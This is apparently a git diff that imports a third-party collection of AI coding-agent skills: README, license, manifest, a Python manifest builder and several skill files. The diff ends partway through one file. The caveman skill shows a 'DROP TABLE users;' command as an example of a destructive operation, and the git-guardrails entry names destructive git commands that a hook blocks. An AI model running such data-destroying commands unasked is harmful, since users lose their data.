`git-guardrails-claude-code/scripts/block-dangerous-git.sh`). + +| Skill | Purpose | +|---|---| +| `tdd` | Red-green-refactor TDD discipline (with deep-modules / mocking / refactoring sidecars) | +| `qa` | Interactive QA conversation that files GitHub issues using project domain language | +| `caveman` | Ultra-compressed communication mode (~75% token reduction) | +| `domain-model` | Stress-test plans against existing domain model + ADRs (with `ADR-FORMAT.md` + `CONTEXT-FORMAT.md`) | +| `ubiquitous-language` | DDD-style shared vocabulary discipline | +| `design-an-interface` | Generate multiple radically different API designs via parallel sub-agents | +| `improve-codebase-architecture` | Architecture review playbook (with `DEEPENING.md`, `INTERFACE-DESIGN.md`, `LANGUAGE.md` sidecars) | +| `github-triage` | Triage GitHub issues with agent-brief + out-of-scope guardrails | +| `triage-issue` | Single-issue triage workflow | +| `to-issues` | Convert plans/notes into well-formed issues | +| `to-prd` | Convert sketches into a product requirements document | +| `request-refactor-plan` | Plan a refactor before touching code | +| `migrate-to-shoehorn` | Migration playbook to the `shoehorn` library | +| `setup-pre-commit` | Pre-commit hook bootstrap | +| `scaffold-exercises` | Scaffold programming exercises | +| `git-guardrails-claude-code` | Block dangerous git ops in Claude Code (with hook script) | +| `obsidian-vault` | Obsidian vault management workflow | +| `edit-article` | Editing pass for article drafts | +| `grill-me` | Adversarial questioning to stress-test a plan | +| `write-a-skill` | Meta: how to write a skill | +| `zoom-out` | Force a higher-altitude review of current work | + +## License compliance + +Per the MIT license: +- Upstream `LICENSE` text is preserved alongside the imported files. +- Files are imported verbatim. The deployed copies (under `~/.claude/skills/`) prepend + an HTML-comment attribution header before the original `---` frontmatter so + provenance is visible inline; the original content below is unmodified. + +## How to integrate + +Skills are staged in this directory and **not** deployed to `~/.claude/skills/` +until you run the importer: + +```bash +python imported-skills/mattpocock/build_manifest.py # rebuild MANIFEST.json +python src/import_mattpocock_skills.py --dry-run # preview +python src/import_mattpocock_skills.py --install # deploy as mattpocock- +``` + +Each skill lands as `~/.claude/skills/mattpocock-/` with all its support +files copied alongside `SKILL.md`. Directory namespacing prevents collisions +with same-named skills already in the wiki (e.g. existing `tdd-orchestrator` +agent + `python-testing` skill coexist with `mattpocock-tdd`). + +After install, refresh the wiki + graph: + +```bash +python src/catalog_builder.py +python src/wiki_batch_entities.py --all +python -m ctx.core.wiki.wiki_graphify +``` + +## Why this set + +mattpocock's skills are short, opinionated, and prose-style — closer to +checklists or playbooks than reference manuals. They complement the larger +catalogue (which leans dense + comprehensive) by providing crisp, +single-purpose workflows for everyday engineering tasks. + +The `tdd`, `domain-model`, `ubiquitous-language`, and +`improve-codebase-architecture` set in particular form a cohesive DDD-leaning +toolkit. The `caveman`, `grill-me`, `zoom-out` set are useful behavioural +modes for steering a Claude Code session. + +## Limitations + +- **Frontmatter format** — uses YAML frontmatter with `name:` + `description:`; + some entries use `disable-model-invocation: true` (Claude Code reads this). + The importer preserves these fields as-is. +- **Tool assumptions** — `git-guardrails-claude-code` ships a `block-dangerous-git.sh` + hook that expects POSIX `bash` on PATH; on Windows it requires Git-Bash or + WSL. The hook is copied but not wired into your Claude Code settings — wire + manually if you want it active. +- **Opinionated** — these reflect one engineer's workflow. Treat them as + starting points; nothing here is universally correct (e.g. `grill-me`'s + adversarial style isn't right for every team). diff --git a/imported-skills/mattpocock/LICENSE b/imported-skills/mattpocock/LICENSE new file mode 100644 index 0000000000000000000000000000000000000000..53754c7a73227703147f00838cb7fa3ad5c108ed --- /dev/null +++ b/imported-skills/mattpocock/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 Matt Pocock + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/imported-skills/mattpocock/MANIFEST.json b/imported-skills/mattpocock/MANIFEST.json new file mode 100644 index 0000000000000000000000000000000000000000..9daef6e05647cfd0fd2e8ed06fa1863c543148d8 --- /dev/null +++ b/imported-skills/mattpocock/MANIFEST.json @@ -0,0 +1,195 @@ +{ + "upstream": "https://github.com/mattpocock/skills", + "upstream_revision": "90ea8eec03d4ae8f43427aaf6fe4722653561a42", + "license": "MIT", + "namespace": "mattpocock", + "total": 21, + "entries": [ + { + "name": "caveman", + "description": "Ultra-compressed communication mode. Cuts token usage ~75% by dropping filler, articles, and pleasantries while keeping full technical accuracy. Use when user says \"caveman mode\", \"talk like caveman\", \"use caveman\", \"less tokens\", \"be brief\", or invokes /caveman.", + "slug": "caveman", + "source_path": "caveman/SKILL.md", + "support_files": [], + "lines": 49 + }, + { + "name": "design-an-interface", + "description": "Generate multiple radically different interface designs for a module using parallel sub-agents. Use when user wants to design an API, explore interface options, compare module shapes, or mentions \"design it twice\".", + "slug": "design-an-interface", + "source_path": "design-an-interface/SKILL.md", + "support_files": [], + "lines": 94 + }, + { + "name": "domain-model", + "description": "Grilling session that challenges your plan against the existing domain model, sharpens terminology, and updates documentation (CONTEXT.md, ADRs) inline as decisions crystallise. Use when user wants to stress-test a plan against their project's language and documented decisions.", + "slug": "domain-model", + "source_path": "domain-model/SKILL.md", + "support_files": [ + "ADR-FORMAT.md", + "CONTEXT-FORMAT.md" + ], + "lines": 81 + }, + { + "name": "edit-article", + "description": "Edit and improve articles by restructuring sections, improving clarity, and tightening prose. Use when user wants to edit, revise, or improve an article draft.", + "slug": "edit-article", + "source_path": "edit-article/SKILL.md", + "support_files": [], + "lines": 14 + }, + { + "name": "git-guardrails-claude-code", + "description": "Set up Claude Code hooks to block dangerous git commands (push, reset --hard, clean, branch -D, etc.) before they execute. Use when user wants to prevent destructive git operations, add git safety hooks, or block git push/reset in Claude Code.", + "slug": "git-guardrails-claude-code", + "source_path": "git-guardrails-claude-code/SKILL.md", + "support_files": [ + "scripts/block-dangerous-git.sh" + ], + "lines": 95 + }, + { + "name": "github-triage", + "description": "Triage GitHub issues through a label-based state machine. Use when user wants to create an issue, triage issues, review incoming bugs or feature requests, prepare issues for an AFK agent, or manage issue workflow.", + "slug": "github-triage", + "source_path": "github-triage/SKILL.md", + "support_files": [ + "AGENT-BRIEF.md", + "OUT-OF-SCOPE.md" + ], + "lines": 168 + }, + { + "name": "grill-me", + "description": "Interview the user relentlessly about a plan or design until reaching shared understanding, resolving each branch of the decision tree. Use when user wants to stress-test a plan, get grilled on their design, or mentions \"grill me\".", + "slug": "grill-me", + "source_path": "grill-me/SKILL.md", + "support_files": [], + "lines": 10 + }, + { + "name": "improve-codebase-architecture", + "description": "Find deepening opportunities in a codebase, informed by the domain language in CONTEXT.md and the decisions in docs/adr/. Use when the user wants to improve architecture, find refactoring opportunities, consolidate tightly-coupled modules, or make a codebase more testable and AI-navigable.", + "slug": "improve-codebase-architecture", + "source_path": "improve-codebase-architecture/SKILL.md", + "support_files": [ + "DEEPENING.md", + "INTERFACE-DESIGN.md", + "LANGUAGE.md" + ], + "lines": 76 + }, + { + "name": "migrate-to-shoehorn", + "description": "Migrate test files from `as` type assertions to @total-typescript/shoehorn. Use when user mentions shoehorn, wants to replace `as` in tests, or needs partial test data.", + "slug": "migrate-to-shoehorn", + "source_path": "migrate-to-shoehorn/SKILL.md", + "support_files": [], + "lines": 118 + }, + { + "name": "obsidian-vault", + "description": "Search, create, and manage notes in the Obsidian vault with wikilinks and index notes. Use when user wants to find, create, or organize notes in Obsidian.", + "slug": "obsidian-vault", + "source_path": "obsidian-vault/SKILL.md", + "support_files": [], + "lines": 59 + }, + { + "name": "qa", + "description": "Interactive QA session where user reports bugs or issues conversationally, and the agent files GitHub issues. Explores the codebase in the background for context and domain language. Use when user wants to report bugs, do QA, file issues conversationally, or mentions \"QA session\".", + "slug": "qa", + "source_path": "qa/SKILL.md", + "support_files": [], + "lines": 130 + }, + { + "name": "request-refactor-plan", + "description": "Create a detailed refactor plan with tiny commits via user interview, then file it as a GitHub issue. Use when user wants to plan a refactor, create a refactoring RFC, or break a refactor into safe incremental steps.", + "slug": "request-refactor-plan", + "source_path": "request-refactor-plan/SKILL.md", + "support_files": [], + "lines": 68 + }, + { + "name": "scaffold-exercises", + "description": "Create exercise directory structures with sections, problems, solutions, and explainers that pass linting. Use when user wants to scaffold exercises, create exercise stubs, or set up a new course section.", + "slug": "scaffold-exercises", + "source_path": "scaffold-exercises/SKILL.md", + "support_files": [], + "lines": 106 + }, + { + "name": "setup-pre-commit", + "description": "Set up Husky pre-commit hooks with lint-staged (Prettier), type checking, and tests in the current repo. Use when user wants to add pre-commit hooks, set up Husky, configure lint-staged, or add commit-time formatting/typechecking/testing.", + "slug": "setup-pre-commit", + "source_path": "setup-pre-commit/SKILL.md", + "support_files": [], + "lines": 91 + }, + { + "name": "tdd", + "description": "Test-driven development with red-green-refactor loop. Use when user wants to build features or fix bugs using TDD, mentions \"red-green-refactor\", wants integration tests, or asks for test-first development.", + "slug": "tdd", + "source_path": "tdd/SKILL.md", + "support_files": [ + "deep-modules.md", + "interface-design.md", + "mocking.md", + "refactoring.md", + "tests.md" + ], + "lines": 107 + }, + { + "name": "to-issues", + "description": "Break a plan, spec, or PRD into independently-grabbable GitHub issues using tracer-bullet vertical slices. Use when user wants to convert a plan into issues, create implementation tickets, or break down work into issues.", + "slug": "to-issues", + "source_path": "to-issues/SKILL.md", + "support_files": [], + "lines": 79 + }, + { + "name": "to-prd", + "description": "Turn the current conversation context into a PRD and submit it as a GitHub issue. Use when user wants to create a PRD from the current context.", + "slug": "to-prd", + "source_path": "to-prd/SKILL.md", + "support_files": [], + "lines": 72 + }, + { + "name": "triage-issue", + "description": "Triage a bug or issue by exploring the codebase to find root cause, then create a GitHub issue with a TDD-based fix plan. Use when user reports a bug, wants to file an issue, mentions \"triage\", or wants to investigate and plan a fix for a problem.", + "slug": "triage-issue", + "source_path": "triage-issue/SKILL.md", + "support_files": [], + "lines": 102 + }, + { + "name": "ubiquitous-language", + "description": "Extract a DDD-style ubiquitous language glossary from the current conversation, flagging ambiguities and proposing canonical terms. Saves to UBIQUITOUS_LANGUAGE.md. Use when user wants to define domain terms, build a glossary, harden terminology, create a ubiquitous language, or mentions \"domain model\" or \"DDD\".", + "slug": "ubiquitous-language", + "source_path": "ubiquitous-language/SKILL.md", + "support_files": [], + "lines": 93 + }, + { + "name": "write-a-skill", + "description": "Create new agent skills with proper structure, progressive disclosure, and bundled resources. Use when user wants to create, write, or build a new skill.", + "slug": "write-a-skill", + "source_path": "write-a-skill/SKILL.md", + "support_files": [], + "lines": 117 + }, + { + "name": "zoom-out", + "description": "Tell the agent to zoom out and give broader context or a higher-level perspective. Use when you're unfamiliar with a section of code or need to understand how it fits into the bigger picture.", + "slug": "zoom-out", + "source_path": "zoom-out/SKILL.md", + "support_files": [], + "lines": 7 + } + ] +} diff --git a/imported-skills/mattpocock/README.md b/imported-skills/mattpocock/README.md new file mode 100644 index 0000000000000000000000000000000000000000..a0c0820d97ffd23ed2b40b05ef26f0b5ff8be67b --- /dev/null +++ b/imported-skills/mattpocock/README.md @@ -0,0 +1,115 @@ +# Agent Skills For Real Engineers + +My agent skills that I use every day to do real engineering - not vibe coding. + +If you want to keep up with changes to these skills, and any new ones I create, you can join ~60,000 other devs on my newsletter: + +[Sign Up To The Newsletter](https://www.aihero.dev/s/skills-newsletter) + +## Planning & Design + +These skills help you think through problems before writing code. + +- **to-prd** — Turn the current conversation context into a PRD and submit it as a GitHub issue. No interview — just synthesizes what you've already discussed. + + ``` + npx skills@latest add mattpocock/skills/to-prd + ``` + +- **to-issues** — Break any plan, spec, or PRD into independently-grabbable GitHub issues using vertical slices. + + ``` + npx skills@latest add mattpocock/skills/to-issues + ``` + +- **grill-me** — Get relentlessly interviewed about a plan or design until every branch of the decision tree is resolved. + + ``` + npx skills@latest add mattpocock/skills/grill-me + ``` + +- **design-an-interface** — Generate multiple radically different interface designs for a module using parallel sub-agents. + + ``` + npx skills@latest add mattpocock/skills/design-an-interface + ``` + +- **request-refactor-plan** — Create a detailed refactor plan with tiny commits via user interview, then file it as a GitHub issue. + + ``` + npx skills@latest add mattpocock/skills/request-refactor-plan + ``` + +## Development + +These skills help you write, refactor, and fix code. + +- **tdd** — Test-driven development with a red-green-refactor loop. Builds features or fixes bugs one vertical slice at a time. + + ``` + npx skills@latest add mattpocock/skills/tdd + ``` + +- **triage-issue** — Investigate a bug by exploring the codebase, identify the root cause, and file a GitHub issue with a TDD-based fix plan. + + ``` + npx skills@latest add mattpocock/skills/triage-issue + ``` + +- **improve-codebase-architecture** — Find deepening opportunities in a codebase, informed by the domain language in `CONTEXT.md` and the decisions in `docs/adr/`. + + ``` + npx skills@latest add mattpocock/skills/improve-codebase-architecture + ``` + +- **migrate-to-shoehorn** — Migrate test files from `as` type assertions to @total-typescript/shoehorn. + + ``` + npx skills@latest add mattpocock/skills/migrate-to-shoehorn + ``` + +- **scaffold-exercises** — Create exercise directory structures with sections, problems, solutions, and explainers. + + ``` + npx skills@latest add mattpocock/skills/scaffold-exercises + ``` + +## Tooling & Setup + +- **setup-pre-commit** — Set up Husky pre-commit hooks with lint-staged, Prettier, type checking, and tests. + + ``` + npx skills@latest add mattpocock/skills/setup-pre-commit + ``` + +- **git-guardrails-claude-code** — Set up Claude Code hooks to block dangerous git commands (push, reset --hard, clean, etc.) before they execute. + + ``` + npx skills@latest add mattpocock/skills/git-guardrails-claude-code + ``` + +## Writing & Knowledge + +- **write-a-skill** — Create new skills with proper structure, progressive disclosure, and bundled resources. + + ``` + npx skills@latest add mattpocock/skills/write-a-skill + ``` + +- **edit-article** — Edit and improve articles by restructuring sections, improving clarity, and tightening prose. + + ``` + npx skills@latest add mattpocock/skills/edit-article + ``` + +- **ubiquitous-language** — Extract a DDD-style ubiquitous language glossary from the current conversation. + + ``` + npx skills@latest add mattpocock/skills/ubiquitous-language + ``` + +- **obsidian-vault** — Search, create, and manage notes in an Obsidian vault with wikilinks and index notes. + + ``` + npx skills@latest add mattpocock/skills/obsidian-vault + ``` diff --git a/imported-skills/mattpocock/build_manifest.py b/imported-skills/mattpocock/build_manifest.py new file mode 100644 index 0000000000000000000000000000000000000000..75e07baa883fd38c2884b3ea679213043a38ed47 --- /dev/null +++ b/imported-skills/mattpocock/build_manifest.py @@ -0,0 +1,98 @@ +#!/usr/bin/env python3 +"""Generate MANIFEST.json for the imported mattpocock/skills set. + +Each top-level directory under imported-skills/mattpocock/ is one skill. +SKILL.md is the entry point; sibling .md/.sh files travel with the skill +and are deployed into the same target directory. +""" + +from __future__ import annotations + +import json +import re +import subprocess +from pathlib import Path + +ROOT = Path(__file__).parent +FRONTMATTER_RE = re.compile(r"^---\s*\n(.*?)\n---\s*\n", re.DOTALL) +UPSTREAM = "https://github.com/mattpocock/skills" +LICENSE = "MIT" + + +def parse_frontmatter(text: str) -> dict[str, str]: + m = FRONTMATTER_RE.match(text) + if not m: + return {} + out: dict[str, str] = {} + pending_key: str | None = None + for raw in m.group(1).splitlines(): + if pending_key and raw.startswith((" ", "\t")): + out[pending_key] = (out[pending_key] + " " + raw.strip()).strip() + continue + pending_key = None + if ":" not in raw: + continue + k, _, v = raw.partition(":") + v = v.strip() + if v in {"", ">", "|"}: + pending_key = k.strip() + out[pending_key] = "" + else: + out[k.strip()] = v.strip('"').strip("'") + return out + + +def support_files(skill_dir: Path) -> list[str]: + out: list[str] = [] + for p in sorted(skill_dir.rglob("*")): + if not p.is_file() or p.name == "SKILL.md": + continue + out.append(p.relative_to(skill_dir).as_posix()) + return out + + +def upstream_revision() -> str: + try: + return subprocess.check_output( + ["git", "-C", str(ROOT), "rev-parse", "HEAD"], + text=True, + ).strip() + except Exception: + return "unknown" + + +def build() -> dict: + entries: list[dict] = [] + for skill_dir in sorted(p for p in ROOT.iterdir() if p.is_dir() and (p / "SKILL.md").exists()): + skill_md = skill_dir / "SKILL.md" + text = skill_md.read_text(encoding="utf-8") + fm = parse_frontmatter(text) + slug = skill_dir.name + entries.append({ + "name": fm.get("name", slug), + "description": fm.get("description", "").strip(), + "slug": slug, + "source_path": (skill_dir.relative_to(ROOT) / "SKILL.md").as_posix(), + "support_files": support_files(skill_dir), + "lines": len(text.splitlines()), + }) + rev = upstream_revision() + return { + "upstream": UPSTREAM, + "upstream_revision": rev, + "license": LICENSE, + "namespace": "mattpocock", + "total": len(entries), + "entries": entries, + } + + +def main() -> None: + manifest = build() + out = ROOT / "MANIFEST.json" + out.write_text(json.dumps(manifest, indent=2) + "\n", encoding="utf-8") + print(f"Manifest written: {manifest['total']} skills @ {manifest['upstream_revision'][:12]}") + + +if __name__ == "__main__": + main() diff --git a/imported-skills/mattpocock/caveman/SKILL.md b/imported-skills/mattpocock/caveman/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..73f8b31c7241ddb7a680eaa23692265296797bbd --- /dev/null +++ b/imported-skills/mattpocock/caveman/SKILL.md @@ -0,0 +1,49 @@ +--- +name: caveman +description: > + Ultra-compressed communication mode. Cuts token usage ~75% by dropping + filler, articles, and pleasantries while keeping full technical accuracy. + Use when user says "caveman mode", "talk like caveman", "use caveman", + "less tokens", "be brief", or invokes /caveman. +--- + +Respond terse like smart caveman. All technical substance stay. Only fluff die. + +## Persistence + +ACTIVE EVERY RESPONSE once triggered. No revert after many turns. No filler drift. Still active if unsure. Off only when user says "stop caveman" or "normal mode". + +## Rules + +Drop: articles (a/an/the), filler (just/really/basically/actually/simply), pleasantries (sure/certainly/of course/happy to), hedging. Fragments OK. Short synonyms (big not extensive, fix not "implement a solution for"). Abbreviate common terms (DB/auth/config/req/res/fn/impl). Strip conjunctions. Use arrows for causality (X -> Y). One word when one word enough. + +Technical terms stay exact. Code blocks unchanged. Errors quoted exact. + +Pattern: `[thing] [action] [reason]. [next step].` + +Not: "Sure! I'd be happy to help you with that. The issue you're experiencing is likely caused by..." +Yes: "Bug in auth middleware. Token expiry check use `<` not `<=`. Fix:" + +### Examples + +**"Why React component re-render?"** + +> Inline obj prop -> new ref -> re-render. `useMemo`. + +**"Explain database connection pooling."** + +> Pool = reuse DB conn. Skip handshake -> fast under load. + +## Auto-Clarity Exception + +Drop caveman temporarily for: security warnings, irreversible action confirmations, multi-step sequences where fragment order risks misread, user asks to clarify or repeats question. Resume caveman after clear part done. + +Example -- destructive op: + +> **Warning:** This will permanently delete all rows in the `users` table and cannot be undone. +> +> ```sql +> DROP TABLE users; +> ``` +> +> Caveman resume. Verify backup exist first. diff --git a/imported-skills/mattpocock/design-an-interface/SKILL.md b/imported-skills/mattpocock/design-an-interface/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..b5486b71da42ac3ddd5fea99575d02ebbb8a242e --- /dev/null +++ b/imported-skills/mattpocock/design-an-interface/SKILL.md @@ -0,0 +1,94 @@ +--- +name: design-an-interface +description: Generate multiple radically different interface designs for a module using parallel sub-agents. Use when user wants to design an API, explore interface options, compare module shapes, or mentions "design it twice". +--- + +# Design an Interface + +Based on "Design It Twice" from "A Philosophy of Software Design": your first idea is unlikely to be the best. Generate multiple radically different designs, then compare. + +## Workflow + +### 1. Gather Requirements + +Before designing, understand: + +- [ ] What problem does this module solve? +- [ ] Who are the callers? (other modules, external users, tests) +- [ ] What are the key operations? +- [ ] Any constraints? (performance, compatibility, existing patterns) +- [ ] What should be hidden inside vs exposed? + +Ask: "What does this module need to do? Who will use it?" + +### 2. Generate Designs (Parallel Sub-Agents) + +Spawn 3+ sub-agents simultaneously using Task tool. Each must produce a **radically different** approach. + +``` +Prompt template for each sub-agent: + +Design an interface for: [module description] + +Requirements: [gathered requirements] + +Constraints for this design: [assign a different constraint to each agent] +- Agent 1: "Minimize method count - aim for 1-3 methods max" +- Agent 2: "Maximize flexibility - support many use cases" +- Agent 3: "Optimize for the most common case" +- Agent 4: "Take inspiration from [specific paradigm/library]" + +Output format: +1. Interface signature (types/methods) +2. Usage example (how caller uses it) +3. What this design hides internally +4. Trade-offs of this approach +``` + +### 3. Present Designs + +Show each design with: + +1. **Interface signature** - types, methods, params +2. **Usage examples** - how callers actually use it in practice +3. **What it hides** - complexity kept internal + +Present designs sequentially so user can absorb each approach before comparison. + +### 4. Compare Designs + +After showing all designs, compare them on: + +- **Interface simplicity**: fewer methods, simpler params +- **General-purpose vs specialized**: flexibility vs focus +- **Implementation efficiency**: does shape allow efficient internals? +- **Depth**: small interface hiding significant complexity (good) vs large interface with thin implementation (bad) +- **Ease of correct use** vs **ease of misuse** + +Discuss trade-offs in prose, not tables. Highlight where designs diverge most. + +### 5. Synthesize + +Often the best design combines insights from multiple options. Ask: + +- "Which design best fits your primary use case?" +- "Any elements from other designs worth incorporating?" + +## Evaluation Criteria + +From "A Philosophy of Software Design": + +**Interface simplicity**: Fewer methods, simpler params = easier to learn and use correctly. + +**General-purpose**: Can handle future use cases without changes. But beware over-generalization. + +**Implementation efficiency**: Does interface shape allow efficient implementation? Or force awkward internals? + +**Depth**: Small interface hiding significant complexity = deep module (good). Large interface with thin implementation = shallow module (avoid). + +## Anti-Patterns + +- Don't let sub-agents produce similar designs - enforce radical difference +- Don't skip comparison - the value is in contrast +- Don't implement - this is purely about interface shape +- Don't evaluate based on implementation effort diff --git a/imported-skills/mattpocock/domain-model/ADR-FORMAT.md b/imported-skills/mattpocock/domain-model/ADR-FORMAT.md new file mode 100644 index 0000000000000000000000000000000000000000..cb5d7388d77ed0ff845e3bee2458e2034fdbcf6f --- /dev/null +++ b/imported-skills/mattpocock/domain-model/ADR-FORMAT.md @@ -0,0 +1,47 @@ +# ADR Format + +ADRs live in `docs/adr/` and use sequential numbering: `0001-slug.md`, `0002-slug.md`, etc. + +Create the `docs/adr/` directory lazily — only when the first ADR is needed. + +## Template + +```md +# {Short title of the decision} + +{1-3 sentences: what's the context, what did we decide, and why.} +``` + +That's it. An ADR can be a single paragraph. The value is in recording *that* a decision was made and *why* — not in filling out sections. + +## Optional sections + +Only include these when they add genuine value. Most ADRs won't need them. + +- **Status** frontmatter (`proposed | accepted | deprecated | superseded by ADR-NNNN`) — useful when decisions are revisited +- **Considered Options** — only when the rejected alternatives are worth remembering +- **Consequences** — only when non-obvious downstream effects need to be called out + +## Numbering + +Scan `docs/adr/` for the highest existing number and increment by one. + +## When to offer an ADR + +All three of these must be true: + +1. **Hard to reverse** — the cost of changing your mind later is meaningful +2. **Surprising without context** — a future reader will look at the code and wonder "why on earth did they do it this way?" +3. **The result of a real trade-off** — there were genuine alternatives and you picked one for specific reasons + +If a decision is easy to reverse, skip it — you'll just reverse it. If it's not surprising, nobody will wonder why. If there was no real alternative, there's nothing to record beyond "we did the obvious thing." + +### What qualifies + +- **Architectural shape.** "We're using a monorepo." "The write model is event-sourced, the read model is projected into Postgres." +- **Integration patterns between contexts.** "Ordering and Billing communicate via domain events, not synchronous HTTP." +- **Technology choices that carry lock-in.** Database, message bus, auth provider, deployment target. Not every library — just the ones that would take a quarter to swap out. +- **Boundary and scope decisions.** "Customer data is owned by the Customer context; other contexts reference it by ID only." The explicit no-s are as valuable as the yes-s. +- **Deliberate deviations from the obvious path.** "We're using manual SQL instead of an ORM because X." Anything where a reasonable reader would assume the opposite. These stop the next engineer from "fixing" something that was deliberate. +- **Constraints not visible in the code.** "We can't use AWS because of compliance requirements." "Response times must be under 200ms because of the partner API contract." +- **Rejected alternatives when the rejection is non-obvious.** If you considered GraphQL and picked REST for subtle reasons, record it — otherwise someone will suggest GraphQL again in six months. diff --git a/imported-skills/mattpocock/domain-model/CONTEXT-FORMAT.md b/imported-skills/mattpocock/domain-model/CONTEXT-FORMAT.md new file mode 100644 index 0000000000000000000000000000000000000000..43aa7b0070f90fa777f3457e561bd8a0ff1946e7 --- /dev/null +++ b/imported-skills/mattpocock/domain-model/CONTEXT-FORMAT.md @@ -0,0 +1,77 @@ +# CONTEXT.md Format + +## Structure + +```md +# {Context Name} + +{One or two sentence description of what this context is and why it exists.} + +## Language + +**Order**: +{A concise description of the term} +_Avoid_: Purchase, transaction + +**Invoice**: +A request for payment sent to a customer after delivery. +_Avoid_: Bill, payment request + +**Customer**: +A person or organization that places orders. +_Avoid_: Client, buyer, account + +## Relationships + +- An **Order** produces one or more **Invoices** +- An **Invoice** belongs to exactly one **Customer** + +## Example dialogue + +> **Dev:** "When a **Customer** places an **Order**, do we create the **Invoice** immediately?" +> **Domain expert:** "No — an **Invoice** is only generated once a **Fulfillment** is confirmed." + +## Flagged ambiguities + +- "account" was used to mean both **Customer** and **User** — resolved: these are distinct concepts. +``` + +## Rules + +- **Be opinionated.** When multiple words exist for the same concept, pick the best one and list the others as aliases to avoid. +- **Flag conflicts explicitly.** If a term is used ambiguously, call it out in "Flagged ambiguities" with a clear resolution. +- **Keep definitions tight.** One sentence max. Define what it IS, not what it does. +- **Show relationships.** Use bold term names and express cardinality where obvious. +- **Only include terms specific to this project's context.** General programming concepts (timeouts, error types, utility patterns) don't belong even if the project uses them extensively. Before adding a term, ask: is this a concept unique to this context, or a general programming concept? Only the former belongs. +- **Group terms under subheadings** when natural clusters emerge. If all terms belong to a single cohesive area, a flat list is fine. +- **Write an example dialogue.** A conversation between a dev and a domain expert that demonstrates how the terms interact naturally and clarifies boundaries between related concepts. + +## Single vs multi-context repos + +**Single context (most repos):** One `CONTEXT.md` at the repo root. + +**Multiple contexts:** A `CONTEXT-MAP.md` at the repo root lists the contexts, where they live, and how they relate to each other: + +```md +# Context Map + +## Contexts + +- [Ordering](./src/ordering/CONTEXT.md) — receives and tracks customer orders +- [Billing](./src/billing/CONTEXT.md) — generates invoices and processes payments +- [Fulfillment](./src/fulfillment/CONTEXT.md) — manages warehouse picking and shipping + +## Relationships + +- **Ordering → Fulfillment**: Ordering emits `OrderPlaced` events; Fulfillment consumes them to start picking +- **Fulfillment → Billing**: Fulfillment emits `ShipmentDispatched` events; Billing consumes them to generate invoices +- **Ordering ↔ Billing**: Shared types for `CustomerId` and `Money` +``` + +The skill infers which structure applies: + +- If `CONTEXT-MAP.md` exists, read it to find contexts +- If only a root `CONTEXT.md` exists, single context +- If neither exists, create a root `CONTEXT.md` lazily when the first term is resolved + +When multiple contexts exist, infer which one the current topic relates to. If unclear, ask. diff --git a/imported-skills/mattpocock/domain-model/SKILL.md b/imported-skills/mattpocock/domain-model/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..777d199934b401f169aefb43e6e5e1cd90c9f4fc --- /dev/null +++ b/imported-skills/mattpocock/domain-model/SKILL.md @@ -0,0 +1,81 @@ +--- +name: domain-model +description: Grilling session that challenges your plan against the existing domain model, sharpens terminology, and updates documentation (CONTEXT.md, ADRs) inline as decisions crystallise. Use when user wants to stress-test a plan against their project's language and documented decisions. +disable-model-invocation: true +--- + +Interview me relentlessly about every aspect of this plan until we reach a shared understanding. Walk down each branch of the design tree, resolving dependencies between decisions one-by-one. For each question, provide your recommended answer. + +Ask the questions one at a time, waiting for feedback on each question before continuing. + +If a question can be answered by exploring the codebase, explore the codebase instead. + +## Domain awareness + +During codebase exploration, also look for existing documentation: + +### File structure + +Most repos have a single context: + +``` +/ +├── CONTEXT.md +├── docs/ +│ └── adr/ +│ ├── 0001-event-sourced-orders.md +│ └── 0002-postgres-for-write-model.md +└── src/ +``` + +If a `CONTEXT-MAP.md` exists at the root, the repo has multiple contexts. The map points to where each one lives: + +``` +/ +├── CONTEXT-MAP.md +├── docs/ +│ └── adr/ ← system-wide decisions +├── src/ +│ ├── ordering/ +│ │ ├── CONTEXT.md +│ │ └── docs/adr/ ← context-specific decisions +│ └── billing/ +│ ├── CONTEXT.md +│ └── docs/adr/ +``` + +Create files lazily — only when you have something to write. If no `CONTEXT.md` exists, create one when the first term is resolved. If no `docs/adr/` exists, create it when the first ADR is needed. + +## During the session + +### Challenge against the glossary + +When the user uses a term that conflicts with the existing language in `CONTEXT.md`, call it out immediately. "Your glossary defines 'cancellation' as X, but you seem to mean Y — which is it?" + +### Sharpen fuzzy language + +When the user uses vague or overloaded terms, propose a precise canonical term. "You're saying 'account' — do you mean the Customer or the User? Those are different things." + +### Discuss concrete scenarios + +When domain relationships are being discussed, stress-test them with specific scenarios. Invent scenarios that probe edge cases and force the user to be precise about the boundaries between concepts. + +### Cross-reference with code + +When the user states how something works, check whether the code agrees. If you find a contradiction, surface it: "Your code cancels entire Orders, but you just said partial cancellation is possible — which is right?" + +### Update CONTEXT.md inline + +When a term is resolved, update `CONTEXT.md` right there. Don't batch these up — capture them as they happen. Use the format in [CONTEXT-FORMAT.md](./CONTEXT-FORMAT.md). + +Don't couple `CONTEXT.md` to implementation details. Only include terms that are meaningful to domain experts. + +### Offer ADRs sparingly + +Only offer to create an ADR when all three are true: + +1. **Hard to reverse** — the cost of changing your mind later is meaningful +2. **Surprising without context** — a future reader will wonder "why did they do it this way?" +3. **The result of a real trade-off** — there were genuine alternatives and you picked one for specific reasons + +If any of the three is missing, skip the ADR. Use the format in [ADR-FORMAT.md](./ADR-FORMAT.md). diff --git a/imported-skills/mattpocock/edit-article/SKILL.md b/imported-skills/mattpocock/edit-article/SKILL.md new file mode 100644 index 